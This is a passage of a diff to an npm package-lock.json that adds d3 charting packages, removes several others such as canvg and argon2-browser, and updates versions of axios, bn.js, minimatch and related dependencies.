+    "node_modules/@types/d3-time": {
+      "version": "3.0.4",
+      "resolved": "https://registry.npmjs.org/@types/d3-time/-/d3-time-3.0.4.tgz",
+      "integrity": "sha512-yuzZug1nkAAaBlBBikKZTgzCeA+k1uy4ZFwWANOfKw5z5LRhV0gNA7gNkKm7HoK+HRN0wX3EkxGk0fpbWhmB7g==",
+      "license": "MIT"
+    },
+    "node_modules/@types/d3-timer": {
+      "version": "3.0.2",
+      "resolved": "https://registry.npmjs.org/@types/d3-timer/-/d3-timer-3.0.2.tgz",
+      "integrity": "sha512-Ps3T8E8dZDam6fUyNiMkekK3XUsaUEik+idO9/YjPtfj2qruF8tFBXS7XhtE4iIXBLxhmLjP3SXpLhVf21I9Lw==",
+      "license": "MIT"
+    },
     "node_modules/@types/d3-transition": {
       "version": "3.0.9",
       "resolved": "https://registry.npmjs.org/@types/d3-transition/-/d3-transition-3.0.9.tgz",
@@ -6767,13 +6055,6 @@
       "dev": true,
       "license": "MIT"
     },
-    "node_modules/@types/jsrp": {
-      "version": "0.2.6",
-      "resolved": "https://registry.npmjs.org/@types/jsrp/-/jsrp-0.2.6.tgz",
-      "integrity": "sha512-2h3tFvkbHksiNcDiUdcJ08gXWG10fnahp30GJ2Tbt4vd4pfsbfkoKTaTbYykFoppaJ6DL3914nQ3PU1vVIlBRQ==",
-      "dev": true,
-      "license": "MIT"
-    },
     "node_modules/@types/mdast": {
       "version": "4.0.4",
       "resolved": "https://registry.npmjs.org/@types/mdast/-/mdast-4.0.4.tgz",
@@ -6810,12 +6091,6 @@
       "integrity": "sha512-k7kRA033QNtC+gLc4VPlfnue58CM1iQLgn1IMAU8VPHGOj7oIHPp9UlhedEnD/Gl8evoCjwkZjlBORtZ3JByUA==",
       "license": "MIT"
     },
-    "node_modules/@types/pako": {
-      "version": "2.0.4",
-      "resolved": "https://registry.npmjs.org/@types/pako/-/pako-2.0.4.tgz",
-      "integrity": "sha512-VWDCbrLeVXJM9fihYodcLiIv0ku+AlOa/TQ1SvYOaBuyrSKgEcro95LJyIsJ4vSo6BXIxOKxiJAat04CmST9Fw==",
-      "license": "MIT"
-    },
     "node_modules/@types/parse-json": {
       "version": "4.0.2",
       "resolved": "https://registry.npmjs.org/@types/parse-json/-/parse-json-4.0.2.tgz",
@@ -6845,13 +6120,6 @@
         "@types/node": "*"
       }
     },
-    "node_modules/@types/raf": {
-      "version": "3.4.3",
-      "resolved": "https://registry.npmjs.org/@types/raf/-/raf-3.4.3.tgz",
-      "integrity": "sha512-c4YAvMedbPZ5tEyxzQdMoOhhJ4RD3rngZIdwC2/qDN3d7JpEhB6fiBRKVY1lg5B7Wk+uPBjn5f39j1/2MY1oOw==",
-      "license": "MIT",
-      "optional": true
-    },
     "node_modules/@types/react": {
       "version": "18.3.16",
       "resolved": "https://registry.npmjs.org/@types/react/-/react-18.3.16.tgz",
@@ -6909,6 +6177,12 @@
       "resolved": "https://registry.npmjs.org/@types/unist/-/unist-3.0.3.tgz",
       "integrity": "sha512-ko/gIFJRv177XgZsZcBwnqJN5x/Gien8qNOn0D5bQU/zAzVf9Zt3BlcUiLqhV9y4ARk0GbT3tnUiPNgnTXzc/Q=="
     },
+    "node_modules/@types/use-sync-external-store": {
+      "version": "0.0.6",
+      "resolved": "https://registry.npmjs.org/@types/use-sync-external-store/-/use-sync-external-store-0.0.6.tgz",
+      "integrity": "sha512-zFDAD+tlpf2r4asuHEj0XH6pY6i0g5NeAHPn+15wk3BV6JA69eERFXC1gyGThDkVa1zCyKr5jox1+2LbV/AMLg==",
+      "license": "MIT"
+    },
     "node_modules/@typescript-eslint/eslint-plugin": {
       "version": "8.34.0",
       "resolved": "https://registry.npmjs.org/@typescript-eslint/eslint-plugin/-/eslint-plugin-8.34.0.tgz",
@@ -7098,10 +6372,17 @@
         "typescript": ">=4.8.4 <5.9.0"
       }
     },
+    "node_modules/@typescript-eslint/typescript-estree/node_modules/balanced-match": {
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz",
+      "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==",
+      "dev": true,
+      "license": "MIT"
+    },
     "node_modules/@typescript-eslint/typescript-estree/node_modules/brace-expansion": {
-      "version": "2.0.2",
-      "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.0.2.tgz",
-      "integrity": "sha512-Jt0vHyM+jmUBqojB7E1NIYadt0vI0Qxjxd2TErW94wDz+E2LAm5vKMXXwg6ZZBTHPuUlDgQHKXvjGBdfcF1ZDQ==",
+      "version": "2.0.3",
+      "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.0.3.tgz",
+      "integrity": "sha512-MCV/fYJEbqx68aE58kv2cA/kiky1G8vux3OR6/jbS+jIMe/6fJWa0DTzJU7dqijOWYwHi1t29FlfYI9uytqlpA==",
       "dev": true,
       "license": "MIT",
       "dependencies": {
@@ -7109,13 +6390,13 @@
       }
     },
     "node_modules/@typescript-eslint/typescript-estree/node_modules/minimatch": {
-      "version": "9.0.5",
-      "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-9.0.5.tgz",
-      "integrity": "sha512-G6T0ZX48xgozx7587koeX9Ys2NYy6Gmv//P89sEte9V9whIapMNF4idKxnW2QtCcLiTWlb/wfCabAtAFWhhBow==",
+      "version": "9.0.9",
+      "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-9.0.9.tgz",
+      "integrity": "sha512-OBwBN9AL4dqmETlpS2zasx+vTeWclWzkblfZk7KTA5j3jeOONz/tRCnZomUyvNg83wL5Zv9Ss6HMJXAgL8R2Yg==",
       "dev": true,
       "license": "ISC",
       "dependencies": {
-        "brace-expansion": "^2.0.1"
+        "brace-expansion": "^2.0.2"
       },
       "engines": {
         "node": ">=16 || 14 >=14.17"
@@ -7424,9 +6705,9 @@
       }
     },
     "node_modules/ajv": {
-      "version": "6.12.6",
-      "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.12.6.tgz",
-      "integrity": "sha512-j3fVLgvTo527anyYyJOGTYJbG+vnnQYvE0m5mmkc1TK+nxAppkCLMIL0aZ4dblVCNoGShhm+kzE4ZUykBoMg4g==",
+      "version": "6.14.0",
+      "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.14.0.tgz",
+      "integrity": "sha512-IWrosm/yrn43eiKqkfkHis7QioDleaXQHdDVPKg0FSwwd/DuvyX79TZnFOnYpB7dcsFAMmtFztZuXPDvSePkFw==",
       "dev": true,
       "license": "MIT",
       "dependencies": {
@@ -7479,9 +6760,9 @@
       }
     },
     "node_modules/anymatch/node_modules/picomatch": {
-      "version": "2.3.1",
-      "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.1.tgz",
-      "integrity": "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==",
+      "version": "2.3.2",
+      "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.2.tgz",
+      "integrity": "sha512-V7+vQEJ06Z+c5tSye8S+nHUfI51xoXIXjHQ99cQtKUkQqqO1kO/KCJUfZXuB47h/YBlDhah2H3hdUGXn8ie0oA==",
       "dev": true,
       "license": "MIT",
       "engines": {
@@ -7491,12 +6772,6 @@
         "url": "https://github.com/sponsors/jonschlinkert"
       }
     },
-    "node_modules/argon2-browser": {
-      "version": "1.18.0",
-      "resolved": "https://registry.npmjs.org/argon2-browser/-/argon2-browser-1.18.0.tgz",
-      "integrity": "sha512-ImVAGIItnFnvET1exhsQB7apRztcoC5TnlSqernMJDUjbc/DLq3UEYeXFrLPrlaIl8cVfwnXb6wX2KpFf2zxHw==",
-      "license": "MIT"
-    },
     "node_modules/argparse": {
       "version": "2.0.1",
       "resolved": "https://registry.npmjs.org/argparse/-/argparse-2.0.1.tgz",
@@ -7700,9 +6975,9 @@
       }
     },
     "node_modules/asn1.js/node_modules/bn.js": {
-      "version": "4.12.1",
-      "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.12.1.tgz",
-      "integrity": "sha512-k8TVBiPkPJT9uHLdOKfFpqcfprwBFOAAXXozRubr7R7PfIuKvQlzcI4M0pALeqXN09vdaMbUdUj+pass+uULAg==",
+      "version": "4.12.3",
+      "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.12.3.tgz",
+      "integrity": "sha512-fGTi3gxV/23FTYdAoUtLYp6qySe2KE3teyZitipKNRuVYcBkoP/bB3guXN/XVKUe9mxCHXnc9C4ocyz8OmgN0g==",
       "dev": true,
       "license": "MIT"
     },
@@ -7777,6 +7052,7 @@
       "version": "1.0.7",
       "resolved": "https://registry.npmjs.org/available-typed-arrays/-/available-typed-arrays-1.0.7.tgz",
       "integrity": "sha512-wvUjBtSGN7+7SjNpq/9M2Tg350UZD3q62IFZLbRAR1bSMlCo1ZaeW+BJ+D090e4hIIZLBcTDWe4Mh4jvUDajzQ==",
+      "dev": true,
       "license": "MIT",
       "dependencies": {
         "possible-typed-array-names": "^1.0.0"
@@ -7799,14 +7075,14 @@
       }
     },
     "node_modules/axios": {
-      "version": "1.12.2",
-      "resolved": "https://registry.npmjs.org/axios/-/axios-1.12.2.tgz",
-      "integrity": "sha512-vMJzPewAlRyOgxV2dU0Cuz2O8zzzx9VYtbJOaBgXFeLc4IV/Eg50n4LowmehOOR61S8ZMpc2K5Sa7g6A4jfkUw==",
+      "version": "1.15.0",
+      "resolved": "https://registry.npmjs.org/axios/-/axios-1.15.0.tgz",
+      "integrity": "sha512-wWyJDlAatxk30ZJer+GeCWS209sA42X+N5jU2jy6oHTp7ufw8uzUTVFBX9+wTfAlhiJXGS0Bq7X6efruWjuK9Q==",
       "license": "MIT",
       "dependencies": {
-        "follow-redirects": "^1.15.6",
-        "form-data": "^4.0.4",
-        "proxy-from-env": "^1.1.0"
+        "follow-redirects": "^1.15.11",
+        "form-data": "^4.0.5",
+        "proxy-from-env": "^2.1.0"
       }
     },
     "node_modules/axobject-query": {
@@ -7857,23 +7133,6 @@
         "url": "https://github.com/sponsors/wooorm"
       }
     },
-    "node_modules/balanced-match": {
-      "version": "1.0.2",
-      "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz",
-      "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==",
-      "dev": true,
-      "license": "MIT"
-    },
-    "node_modules/base64-arraybuffer": {
-      "version": "1.0.2",
-      "resolved": "https://registry.npmjs.org/base64-arraybuffer/-/base64-arraybuffer-1.0.2.tgz",
-      "integrity": "sha512-I3yl4r9QB5ZRY3XuJVEPfc2XhZO6YweFPI+UovAzn+8/hb3oJ6lnysaFcjVpkCPfVWFUDvoZ8kmVDP7WyRtYtQ==",
-      "license": "MIT",
-      "optional": true,
-      "engines": {
-        "node": ">= 0.6.0"
-      }
-    },
     "node_modules/base64-js": {
       "version": "1.5.1",
       "resolved": "https://registry.npmjs.org/base64-js/-/base64-js-1.5.1.tgz",
@@ -7905,12 +7164,6 @@
         "baseline-browser-mapping": "dist/cli.js"
       }
     },
-    "node_modules/before-after-hook": {
-      "version": "3.0.2",
-      "resolved": "https://registry.npmjs.org/before-after-hook/-/before-after-hook-3.0.2.tgz",
-      "integrity": "sha512-Nik3Sc0ncrMK4UUdXQmAnRtzmNQTAAXmXIopizwZ1W1t8QmfJj+zL4OA2I7XPTPW5z5TDqv4hRo/JzouDJnX3A==",
-      "license": "Apache-2.0"
-    },
     "node_modules/better-opn": {
       "version": "3.0.2",
       "resolved": "https://registry.npmjs.org/better-opn/-/better-opn-3.0.2.tgz",
@@ -7939,23 +7192,12 @@
       }
     },
     "node_modules/bn.js": {
-      "version": "5.2.1",
-      "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-5.2.1.tgz",
-      "integrity": "sha512-eXRvHzWyYPBuB4NBy0cmYQjGitUrtqwbvlzP3G6VFnNRbsZQIxQ10PbKKHt8gZ/HW/D/747aDl+QkDqg3KQLMQ==",
+      "version": "5.2.3",
+      "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-5.2.3.tgz",
+      "integrity": "sha512-EAcmnPkxpntVL+DS7bO1zhcZNvCkxqtkd0ZY53h06GNQ3DEkkGZ/gKgmDv6DdZQGj9BgfSPKtJJ7Dp1GPP8f7w==",
       "dev": true,
       "license": "MIT"
     },
-    "node_modules/brace-expansion": {
-      "version": "1.1.11",
-      "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.11.tgz",
-      "integrity": "sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==",
-      "dev": true,
-      "license": "MIT",
-      "dependencies": {
-        "balanced-match": "^1.0.0",
-        "concat-map": "0.0.1"
-      }
-    },
     "node_modules/braces": {
       "version": "3.0.3",
       "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.3.tgz",
@@ -8042,37 +7284,22 @@
       }
     },
     "node_modules/browserify-sign": {
-      "version": "4.2.3",
-      "resolved": "https://registry.npmjs.org/browserify-sign/-/browserify-sign-4.2.3.tgz",
-      "integrity": "sha512-JWCZW6SKhfhjJxO8Tyiiy+XYB7cqd2S5/+WeYHsKdNKFlCBhKbblba1A/HN/90YwtxKc8tCErjffZl++UNmGiw==",
+      "version": "4.2.5",
+      "resolved": "https://registry.npmjs.org/browserify-sign/-/browserify-sign-4.2.5.tgz",
+      "integrity": "sha512-C2AUdAJg6rlM2W5QMp2Q4KGQMVBwR1lIimTsUnutJ8bMpW5B52pGpR2gEnNBNwijumDo5FojQ0L9JrXA8m4YEw==",
       "dev": true,
       "license": "ISC",
       "dependencies": {
-        "bn.js": "^5.2.1",
-        "browserify-rsa": "^4.1.0",
+        "bn.js": "^5.2.2",
+        "browserify-rsa": "^4.1.1",
         "create-hash": "^1.2.0",
         "create-hmac": "^1.1.7",
-        "elliptic": "^6.5.5",
-        "hash-base": "~3.0",
+        "elliptic": "^6.6.1",
         "inherits": "^2.0.4",
-        "parse-asn1": "^5.1.7",
+        "parse-asn1": "^5.1.9",
         "readable-stream": "^2.3.8",
         "safe-buffer": "^5.2.1"
       },
-      "engines": {
-        "node": ">= 0.12"
-      }
-    },
-    "node_modules/browserify-sign/node_modules/hash-base": {
-      "version": "3.0.5",
-      "resolved": "https://registry.npmjs.org/hash-base/-/hash-base-3.0.5.tgz",
-      "integrity": "sha512-vXm0l45VbcHEVlTCzs8M+s0VeYsB2lnlAaThoLKGXr3bE/VWDOelNUnycUPEhKEaXARL2TEFjBOyUiM6+55KBg==",
-      "dev": true,
-      "license": "MIT",
-      "dependencies": {
-        "inherits": "^2.0.4",
-        "safe-buffer": "^5.2.1"
-      },
       "engines": {
         "node": ">= 0.10"
       }
@@ -8211,6 +7438,7 @@
       "version": "1.0.8",
       "resolved": "https://registry.npmjs.org/call-bind/-/call-bind-1.0.8.tgz",
       "integrity": "sha512-oKlSFMcMwpUg2ednkhQ454wfWiU/ul3CkJe/PEHcTKuiX6RpbehUiFMXu13HalGZxfUwCQzZG747YXBn1im9ww==",
+      "dev": true,
       "license": "MIT",
       "dependencies": {
         "call-bind-apply-helpers": "^1.0.0",
@@ -8242,6 +7470,7 @@
       "version": "1.0.4",
       "resolved": "https://registry.npmjs.org/call-bound/-/call-bound-1.0.4.tgz",
       "integrity": "sha512-+ys997U96po4Kx/ABpBCqhA9EuxJaQWDQg7295H4hBphv3IZg0boBKuwYpt4YXp6MZ5AmZQnU/tyMTlRpaSejg==",
+      "dev": true,
       "license": "MIT",
       "dependencies": {
         "call-bind-apply-helpers": "^1.0.2",
@@ -8293,33 +7522,6 @@
       ],
       "license": "CC-BY-4.0"
     },
-    "node_modules/canvg": {
-      "version": "3.0.11",
-      "resolved": "https://registry.npmjs.org/canvg/-/canvg-3.0.11.tgz",
-      "integrity": "sha512-5ON+q7jCTgMp9cjpu4Jo6XbvfYwSB2Ow3kzHKfIyJfaCAOHLbdKPQqGKgfED/R5B+3TFFfe8pegYA+b423SRyA==",
-      "license": "MIT",
-      "optional": true,
-      "dependencies": {
-        "@babel/runtime": "^7.12.5",
-        "@types/raf": "^3.4.0",
-        "core-js": "^3.8.3",
-        "raf": "^3.4.1",
-        "regenerator-runtime": "^0.13.7",
-        "rgbcolor": "^1.0.1",
-        "stackblur-canvas": "^2.0.0",
-        "svg-pathdata": "^6.0.3"
-      },
-      "engines": {
-        "node": ">=10.0.0"
-      }
-    },
-    "node_modules/canvg/node_modules/regenerator-runtime": {
-      "version": "0.13.11",
-      "resolved": "https://registry.npmjs.org/regenerator-runtime/-/regenerator-runtime-0.13.11.tgz",
-      "integrity": "sha512-kY1AZVr2Ra+t+piVaJ4gxaFaReZVH40AKNo7UCX6W+dEwBo/2oZJzqfuN1qLq1oL45o56cPaTXELwrTh8Fpggg==",
-      "license": "MIT",
-      "optional": true
-    },
     "node_modules/ccount": {
       "version": "2.0.1",
       "resolved": "https://registry.npmjs.org/ccount/-/ccount-2.0.1.tgz",
@@ -8463,6 +7665,7 @@
       "version": "1.0.6",
       "resolved": "https://registry.npmjs.org/cipher-base/-/cipher-base-1.0.6.tgz",
       "integrity": "sha512-3Ek9H3X6pj5TgenXYtNWdaBon1tgYCaebd+XPg0keyjEbEfkD4KkmAxkQ/i1vYvxdcT5nscLBfq9VJRmCBcFSw==",
+      "dev": true,
       "license": "MIT",
       "dependencies": {
         "inherits": "^2.0.4",
@@ -9078,6 +8281,7 @@
       "version": "1.0.3",
       "resolved": "https://registry.npmjs.org/core-util-is/-/core-util-is-1.0.3.tgz",
       "integrity": "sha512-ZQBvi1DcpJ4GDqanjucZ2Hj3wEO5pZDS89BWbkcrvdxksJorwUDDZamX9ldFkp9aw2lmBDLgkObEA4DWNJ9FYQ==",
+      "dev": true,
       "license": "MIT"
     },
     "node_modules/cosmiconfig": {
@@ -9097,9 +8301,9 @@
       }
     },
     "node_modules/cosmiconfig/node_modules/yaml": {
-      "version": "1.10.2",
-      "resolved": "https://registry.npmjs.org/yaml/-/yaml-1.10.2.tgz",
-      "integrity": "sha512-r3vXyErRCYJ7wg28yvBY5VSoAF8ZvlcW9/BwUzEtUsjvX/DKs24dIkuwjtuprwJJHsbyUbLApepYTR1BN4uHrg==",
+      "version": "1.10.3",
+      "resolved": "https://registry.npmjs.org/yaml/-/yaml-1.10.3.tgz",
+      "integrity": "sha512-vIYeF1u3CjlhAFekPPAk2h/Kv4T3mAkMox5OymRiJQB0spDP10LHvt+K7G9Ny6NuuMAb25/6n1qyUjAcGNf/AA==",
       "license": "ISC",
       "engines": {
         "node": ">= 6"
@@ -9117,9 +8321,9 @@
       }
     },
     "node_modules/create-ecdh/node_modules/bn.js": {
-      "version": "4.12.1",
-      "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.12.1.tgz",
-      "integrity": "sha512-k8TVBiPkPJT9uHLdOKfFpqcfprwBFOAAXXozRubr7R7PfIuKvQlzcI4M0pALeqXN09vdaMbUdUj+pass+uULAg==",
+      "version": "4.12.3",
+      "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.12.3.tgz",
+      "integrity": "sha512-fGTi3gxV/23FTYdAoUtLYp6qySe2KE3teyZitipKNRuVYcBkoP/bB3guXN/XVKUe9mxCHXnc9C4ocyz8OmgN0g==",
       "dev": true,
       "license": "MIT"
     },
@@ -9127,6 +8331,7 @@
       "version": "1.2.0",
       "resolved": "https://registry.npmjs.org/create-hash/-/create-hash-1.2.0.tgz",
       "integrity": "sha512-z00bCGNHDG8mHAkP7CtT1qVu+bFQUPjYq/4Iv3C3kWjTFV10zIjfSoeqXo9Asws8gwSHDGj/hl2u4OGIjapeCg==",
+      "dev": true,
       "license": "MIT",
       "dependencies": {
         "cipher-base": "^1.0.1",
@@ -9228,16 +8433,6 @@
         "node": ">= 0.10"
       }
     },
-    "node_modules/css-line-break": {
-      "version": "2.1.0",
-      "resolved": "https://registry.npmjs.org/css-line-break/-/css-line-break-2.1.0.tgz",
-      "integrity": "sha512-FHcKFCZcAha3LwfVBhCQbW2nCNbkZXn7KVUJcsT5/P8YmfsVja0FMPJr0B903j/E69HUphKiV9iQArX8SDYA4w==",
-      "license": "MIT",
-      "optional": true,
-      "dependencies": {
-        "utrie": "^1.0.2"
-      }
-    },
     "node_modules/css.escape": {
       "version": "1.5.1",
       "resolved": "https://registry.npmjs.org/css.escape/-/css.escape-1.5.1.tgz",
@@ -9246,19 +8441,6 @@
       "license": "MIT",
       "peer": true
     },
-    "node_modules/cssesc": {
-      "version": "3.0.0",
-      "resolved": "https://registry.npmjs.org/cssesc/-/cssesc-3.0.0.tgz",
-      "integrity": "sha512-/Tb/JcjK111nNScGob5MNtsntNM1aCNUDipB/TkwZFhyDrrE47SOx/18wF2bbjgc3ZzCSKW1T5nt5EbFoAz/Vg==",
-      "dev": true,
-      "license": "MIT",
-      "bin": {
-        "cssesc": "bin/cssesc"
-      },
-      "engines": {
-        "node": ">=4"
-      }
-    },
     "node_modules/csstype": {
       "version": "3.1.3",
       "resolved": "https://registry.npmjs.org/csstype/-/csstype-3.1.3.tgz",
@@ -9278,6 +8460,18 @@
         "url": "https://polar.sh/cva"
       }
     },
+    "node_modules/d3-array": {
+      "version": "3.2.4",
+      "resolved": "https://registry.npmjs.org/d3-array/-/d3-array-3.2.4.tgz",
+      "integrity": "sha512-tdQAmyA18i4J7wprpYq8ClcxZy3SC31QMeByyCFyRt7BVHdREQZ5lpzoe5mFEYZUWe+oq8HBvk9JjpibyEV4Jg==",
+      "license": "ISC",
+      "dependencies": {
+        "internmap": "1 - 2"
+      },
+      "engines": {
+        "node": ">=12"
+      }
+    },
     "node_modules/d3-color": {
       "version": "3.1.0",
       "resolved": "https://registry.npmjs.org/d3-color/-/d3-color-3.1.0.tgz",
@@ -9318,6 +8512,15 @@
         "node": ">=12"
       }
     },
+    "node_modules/d3-format": {
+      "version": "3.1.2",
+      "resolved": "https://registry.npmjs.org/d3-format/-/d3-format-3.1.2.tgz",
+      "integrity": "sha512-AJDdYOdnyRDV5b6ArilzCPPwc1ejkHcoyFarqlPqT7zRYjhavcT3uSrqcMvsgh2CgoPbK3RCwyHaVyxYcP2Arg==",
+      "license": "ISC",
+      "engines": {
+        "node": ">=12"
+      }
+    },
     "node_modules/d3-interpolate": {
       "version": "3.0.1",
       "resolved": "https://registry.npmjs.org/d3-interpolate/-/d3-interpolate-3.0.1.tgz",
@@ -9330,6 +8533,31 @@
         "node": ">=12"
       }
     },
+    "node_modules/d3-path": {
+      "version": "3.1.0",
+      "resolved": "https://registry.npmjs.org/d3-path/-/d3-path-3.1.0.tgz",
+      "integrity": "sha512-p3KP5HCf/bvjBSSKuXid6Zqijx7wIfNW+J/maPs+iwR35at5JCbLUT0LzF1cnjbCHWhqzQTIN2Jpe8pRebIEFQ==",
+      "license": "ISC",
+      "engines": {
+        "node": ">=12"
+      }
+    },
+    "node_modules/d3-scale": {
+      "version": "4.0.2",
+      "resolved": "https://registry.npmjs.org/d3-scale/-/d3-scale-4.0.2.tgz",
+      "integrity": "sha512-GZW464g1SH7ag3Y7hXjf8RoUuAFIqklOAq3MRl4OaWabTFJY9PN/E1YklhXLh+OQ3fM9yS2nOkCoS+WLZ6kvxQ==",
+      "license": "ISC",
+      "dependencies": {
+        "d3-array": "2.10.0 - 3",
+        "d3-format": "1 - 3",
+        "d3-interpolate": "1.2.0 - 3",
+        "d3-time": "2.1.1 - 3",
+        "d3-time-format": "2 - 4"
+      },
+      "engines": {
+        "node": ">=12"
+      }
+    },
     "node_modules/d3-selection": {
       "version": "3.0.0",
       "resolved": "https://registry.npmjs.org/d3-selection/-/d3-selection-3.0.0.tgz",
@@ -9339,6 +8567,42 @@
         "node": ">=12"
       }
     },
+    "node_modules/d3-shape": {
+      "version": "3.2.0",
+      "resolved": "https://registry.npmjs.org/d3-shape/-/d3-shape-3.2.0.tgz",
+      "integrity": "sha512-SaLBuwGm3MOViRq2ABk3eLoxwZELpH6zhl3FbAoJ7Vm1gofKx6El1Ib5z23NUEhF9AsGl7y+dzLe5Cw2AArGTA==",
+      "license": "ISC",
+      "dependencies": {
+        "d3-path": "^3.1.0"
+      },
+      "engines": {
+        "node": ">=12"
+      }
+    },
+    "node_modules/d3-time": {
+      "version": "3.1.0",
+      "resolved": "https://registry.npmjs.org/d3-time/-/d3-time-3.1.0.tgz",
+      "integrity": "sha512-VqKjzBLejbSMT4IgbmVgDjpkYrNWUYJnbCGo874u7MMKIWsILRX+OpX/gTk8MqjpT1A/c6HY2dCA77ZN0lkQ2Q==",
+      "license": "ISC",
+      "dependencies": {
+        "d3-array": "2 - 3"
+      },
+      "engines": {
+        "node": ">=12"
+      }
+    },
+    "node_modules/d3-time-format": {
+      "version": "4.1.0",
+      "resolved": "https://registry.npmjs.org/d3-time-format/-/d3-time-format-4.1.0.tgz",
+      "integrity": "sha512-dJxPBlzC7NugB2PDLwo9Q8JiTR3M3e4/XANkreKSUxF8vvXKqm1Yfq4Q5dl8budlunRVlUUaDUgFt7eA8D6NLg==",
+      "license": "ISC",
+      "dependencies": {
+        "d3-time": "1 - 3"
+      },
+      "engines": {
+        "node": ">=12"
+      }
+    },
     "node_modules/d3-timer": {
       "version": "3.0.1",
       "resolved": "https://registry.npmjs.org/d3-timer/-/d3-timer-3.0.1.tgz",
@@ -9487,6 +8751,12 @@
         "node": ">=0.10.0"
       }
     },
+    "node_modules/decimal.js-light": {
+      "version": "2.5.1",
+      "resolved": "https://registry.npmjs.org/decimal.js-light/-/decimal.js-light-2.5.1.tgz",
+      "integrity": "sha512-qIMFpTMZmny+MMIitAB6D7iVPEorVw6YQRWkvarTkT4tBeSLLiHzcwj6q0MmYSFCiVpiqPJTJEYIrpcPzVEIvg==",
+      "license": "MIT"
+    },
     "node_modules/decode-named-character-reference": {
       "version": "1.0.2",
       "resolved": "https://registry.npmjs.org/decode-named-character-reference/-/decode-named-character-reference-1.0.2.tgz",
@@ -9521,6 +8791,7 @@
       "version": "1.1.4",
       "resolved": "https://registry.npmjs.org/define-data-property/-/define-data-property-1.1.4.tgz",
       "integrity": "sha512-rBMvIzlpA8v6E+SJZoo++HAYqsLrkg7MSfIinMPFhmkorw7X+dOXVJQs+QT69zGkzMyfDnIMN2Wid1+NbL3T+A==",
+      "dev": true,
       "license": "MIT",
       "dependencies": {
         "es-define-property": "^1.0.0",
@@ -9641,9 +8912,9 @@
       }
     },
     "node_modules/diffie-hellman/node_modules/bn.js": {
-      "version": "4.12.1",
-      "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.12.1.tgz",
-      "integrity": "sha512-k8TVBiPkPJT9uHLdOKfFpqcfprwBFOAAXXozRubr7R7PfIuKvQlzcI4M0pALeqXN09vdaMbUdUj+pass+uULAg==",
+      "version": "4.12.3",
+      "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.12.3.tgz",
+      "integrity": "sha512-fGTi3gxV/23FTYdAoUtLYp6qySe2KE3teyZitipKNRuVYcBkoP/bB3guXN/XVKUe9mxCHXnc9C4ocyz8OmgN0g==",
       "dev": true,
       "license": "MIT"
     },
@@ -9760,9 +9031,9 @@
       }
     },
     "node_modules/elliptic/node_modules/bn.js": {
-      "version": "4.12.1",
-      "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.12.1.tgz",
-      "integrity": "sha512-k8TVBiPkPJT9uHLdOKfFpqcfprwBFOAAXXozRubr7R7PfIuKvQlzcI4M0pALeqXN09vdaMbUdUj+pass+uULAg==",
+      "version": "4.12.3",
+      "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.12.3.tgz",
+      "integrity": "sha512-fGTi3gxV/23FTYdAoUtLYp6qySe2KE3teyZitipKNRuVYcBkoP/bB3guXN/XVKUe9mxCHXnc9C4ocyz8OmgN0g==",
       "dev": true,
       "license": "MIT"
     },
@@ -9969,6 +9240,16 @@
         "url": "https://github.com/sponsors/ljharb"
       }
     },
+    "node_modules/es-toolkit": {
+      "version": "1.45.1",
+      "resolved": "https://registry.npmjs.org/es-toolkit/-/es-toolkit-1.45.1.tgz",
+      "integrity": "sha512-/jhoOj/Fx+A+IIyDNOvO3TItGmlMKhtX8ISAHKE90c4b/k1tqaqEZ+uUqfpU8DMnW5cgNJv606zS55jGvza0Xw==",
+      "license": "MIT",
+      "workspaces": [
+        "docs",
+        "benchmarks"
+      ]
+    },
     "node_modules/esbuild": {
       "version": "0.25.11",
       "resolved": "https://registry.npmjs.org/esbuild/-/esbuild-0.25.11.tgz",
@@ -10289,6 +9570,24 @@
         "eslint": "^2 || ^3 || ^4 || ^5 || ^6 || ^7.2.0 || ^8 || ^9"
       }
     },
+    "node_modules/eslint-plugin-import/node_modules/balanced-match": {
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz",
+      "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==",
+      "dev": true,
+      "license": "MIT"
+    },
+    "node_modules/eslint-plugin-import/node_modules/brace-expansion": {
+      "version": "1.1.13",
+      "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.13.tgz",
